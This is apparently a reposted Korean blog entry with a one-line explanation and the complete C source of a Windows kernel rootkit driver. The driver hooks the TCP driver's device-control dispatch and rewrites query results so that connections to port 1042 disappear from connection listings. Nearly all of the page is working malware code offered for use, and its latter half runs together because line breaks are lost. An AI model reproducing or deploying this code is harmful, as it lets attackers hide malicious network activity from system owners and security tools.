IRPhook

8852 단어
원리: 직접 IoGetDeviceObjectPointer에서 이름에 따라 드라이버 대상을 얻은 다음에 배달 함수 그룹 요소를 변경하면 HOOK에서 IRP 배달 함수를 지정할 수 있습니다.//irphook.h
/// 

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
    PIO_COMPLETION_ROUTINE OldCompletion;
    unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

//irphook.cpp
#include 
#include 

#include "irphook.h"

NTSTATUS DriverEntry(
                   IN PDRIVER_OBJECT  DriverObject,
                   IN PUNICODE_STRING RegistryPath
                    )
{

    NTSTATUS                ntStatus;

    OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;

    ntStatus = InstallTCPDriverHook();
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;

    return STATUS_SUCCESS;
}

NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
//  UNICODE_STRING deviceNameUnicodeString;
//  UNICODE_STRING deviceLinkUnicodeString;        
    UNICODE_STRING deviceTCPUnicodeString;
    // hook 
    WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
    pDev_tcp   = NULL;
    pDrv_tcpip = NULL;

    RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
    // 
    //          
    ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;
    // 
    pDrv_tcpip = pDev_tcp->DriverObject;
    //    
    OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
    if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);

    return STATUS_SUCCESS;
}

//hook
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
    TDIObjectID             *inputBuffer;
    DWORD                   context;

    //DbgPrint("The current IRP is at %x
", Irp); irpStack = IoGetCurrentIrpStackLocation (Irp); switch (irpStack->MajorFunction) { case IRP_MJ_DEVICE_CONTROL: if ((irpStack->MinorFunction == 0) && \ (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX)) { ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode; ioTransferType &= 3; if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer { inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer; // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY) { // DbgPrint("Input buffer %x
",inputBuffer); if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110)) { // Call our completion routine if IRP successful irpStack->Control = 0; irpStack->Control |= SL_INVOKE_ON_SUCCESS; // Save old completion routine if present irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI'); ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id; // Setup our function to be called on completion of IRP irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine; } } } } break; default: break; } return OldIrpMjDeviceControl(DeviceObject, Irp); } NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) { PVOID OutputBuffer; DWORD NumOutputBuffers; PIO_COMPLETION_ROUTINE p_compRoutine; DWORD i; // Connection status values: // 0 = Invisible // 1 = CLOSED // 2 = LISTENING // 3 = SYN_SENT // 4 = SYN_RECEIVED // 5 = ESTABLISHED // 6 = FIN_WAIT_1 // 7 = FIN_WAIT_2 // 8 = CLOSE_WAIT // 9 = CLOSING // ... OutputBuffer = Irp->UserBuffer; p_compRoutine = ((PREQINFO)Context)->OldCompletion; if (((PREQINFO)Context)->ReqType == 0x101) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042) ((PCONNINFO101)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x102) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042) ((PCONNINFO102)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x110) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042) ((PCONNINFO110)OutputBuffer)[i].status = 0; } } ExFreePool(Context); /* for(i = 0; i < NumOutputBuffers; i++) { DbgPrint("Status: %d",OutputBuffer[i].status); DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port)); DbgPrint(" %d.%d.%d.%d:%d
",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port)); }*/ if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL)) { return (p_compRoutine)(DeviceObject, Irp, NULL); } else { return Irp->IoStatus.Status; } } NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject) { if (OldIrpMjDeviceControl) InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl); if (pFile_tcp != NULL) ObDereferenceObject(pFile_tcp); pFile_tcp = NULL; return STATUS_SUCCESS; }

전재 대상:https://blog.51cto.com/haidragon/2307152

좋은 웹페이지 즐겨찾기